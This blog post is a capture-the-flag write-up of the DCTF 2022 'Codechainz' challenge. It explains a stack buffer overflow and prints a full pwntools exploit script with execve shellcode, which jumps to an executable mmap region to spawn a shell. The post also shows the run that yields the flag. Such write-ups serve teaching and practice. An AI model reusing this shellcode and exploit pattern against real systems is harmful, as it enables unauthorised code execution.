DCTF 2022 – Codechainz Write-up

Hi everyone! This post is on DCTF 2022’s Codechainz which is a fairly easy pwn challenge. This challenge has a buffer overflow (BoF) vulnerability and requires us to jump to a space created by mmap() which is executable. However, there is a shellcode size limit due to the space available. Let’s get started!

Files provided

File infomation

We can see that it is an x64 ELF file and canary is not enabled. Therefore, it might be a buffer overflow attack. Please install pwntools if you haven’t as we need it to check its security features and the exploit later.

kali@kali~$ file app      
app: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2e877e3c70297102ea72ad1dae1b70a742988811, for GNU/Linux 3.2.0, not stripped
kali@kali~$ pwn checksec --file=./app 
[*] '/home/kali/Desktop/ctf/chall/app'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Layout of the program

Below shows a very simple layout of the program so that you won’t have to load the binary into IDA to view it.

void __noreturn loop_de_loop()
{
  char s[10]; // [rsp+Eh] [rbp-12h] BYREF
  int v1; // [rsp+18h] [rbp-8h] BYREF
  char v2; // [rsp+1Fh] [rbp-1h]

  v1 = -1;
  v2 = 0;
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      fflush(stdout);
      input_int(&v1);
      if ( v1 == 4 )
      {
        puts("Goodbye!");
        exit(0);
      }
      if ( v1 <= 4 )
        break;
LABEL_18:
      puts("Invalid option.\n");
    }
    switch ( v1 )
    {
      case 3:
        if ( !v2 )
          goto LABEL_13;
        puts("Deleting your memory...");
        memset(memory_space, 0, 0x1EuLL);
        v2 = 0;
        sleep(2u);
        puts("Memory deleted.\n");
        break;
      case 1:
        if ( v2 != 1 )
        {
          fgets(s, 2, stdin);
          input_str();
          v2 = 1;
        }
        else
        {
          puts("You have already made a memory!\n");
        }
        break;
      case 2:
        if ( v2 )
        {
          puts("Here is your memory. I managed to remember it ^^");
          puts(memory_space);
        }
        else
        {
LABEL_13:
          puts("You have no memories saved.\n");
        }
        break;
      default:
        goto LABEL_18;
    }
  }
}

Vulnerability

If we take a look at input_str() which is called when we choose option 1 from the main menu, we can see that the variable array s can result in a buffer overflow as we can supply 100 bytes of input but the size of the variable array s is only 44 (0x2C). This means that we can overwrite the return address by supplying 0x2C + 0x8 (variable i space) + 0x8 (RBP space) = 0x38 bytes to reach the return address’s location.

The decompiled code in IDA above also showed that 30 bytes of our input are stored in the memory_space variable. Since we know that NX is enabled. Let’s look at if we store our shellcode in the memory_space variable, set the return address to the address of the memory_space variable so that our shellcode gets executed. However, we need to find out if the new memory space for the memory_space variable created by mmap() at init_memory() is executable.

In mmap() at init_memory(), we can see that the memory location is executable due to the value 7 passed in the protection argument based on this source. Therefore, we can execute our shellcode from the memory_space variable.

Crafting of the exploit

Below shows Codechainz_exploit.py. Since we know that only 30 bytes are copied to the memory_space variable, I need a limited-size shellcode. Thus, a quick Google allows me to find this short x64 shellcode here.

from pwn import *

context.arch = "amd64"

# 27 bytes shellcode from http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

r = remote("51.124.222.205", 13370)
# for local debugging
#r = process("./app")

################## obtain memory's location ##################
r.recvuntil(b'DISCLAIMER: All your memories will be saved at ')
mem_space_loc = int(r.recvuntil(b'\n').decode("UTF-8")[:-2], 16)
log.info("memory_space address: " + hex(mem_space_loc))

# choose option 1 to go to BoF vulnerable page
r.sendlineafter(b'> ', b'1')

################## Craft payload ##################
s_offset_to_ret = 0x38
log.info("Shellcode length: " + hex(len(shellcode)))
log.info("Allowed shellcode length: " + hex(0x1E))
log.info("Allowing padding length: " + hex(s_offset_to_ret))
# pad until return address's location
padding = (s_offset_to_ret - len(shellcode)) * b'A'
payload = shellcode + padding + p64(mem_space_loc)

log.info("Payload sent: " + str(payload))
# exploit the buffer overflow vulnerability
r.sendafter(b'> ', payload)

r.interactive()

Obtain the flag

I am not sure why but either something has got to do with the program or shellcode. During the first input of a command, there is no result. We will have to input a command again before the shell works.

kali@kali~$ python3 Codechainz_exploit.py
[+] Opening connection to 51.124.222.205 on port 13370: Done
[*] memory_space address: 0x7fb41c99e000
[*] Shellcode length: 0x1b
[*] Allowed shellcode length: 0x1e
[*] Allowing padding length: 0x38
[*] Payload sent: b'1\xc0H\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xffH\xf7\xdbST_\x99RWT^\xb0;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\xe0\x99\x1c\xb4\x7f\x00\x00'
[*] Switching to interactive mode
$ ls
$ ls
app
bin
boot
dev
etc
flag.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag.txt
dctf{5h3_s31l5_s3e_5h3ll5_0n_7h3e_534_shur3_2nvc4t4204}

I hope this article has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here.

Advertisement

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.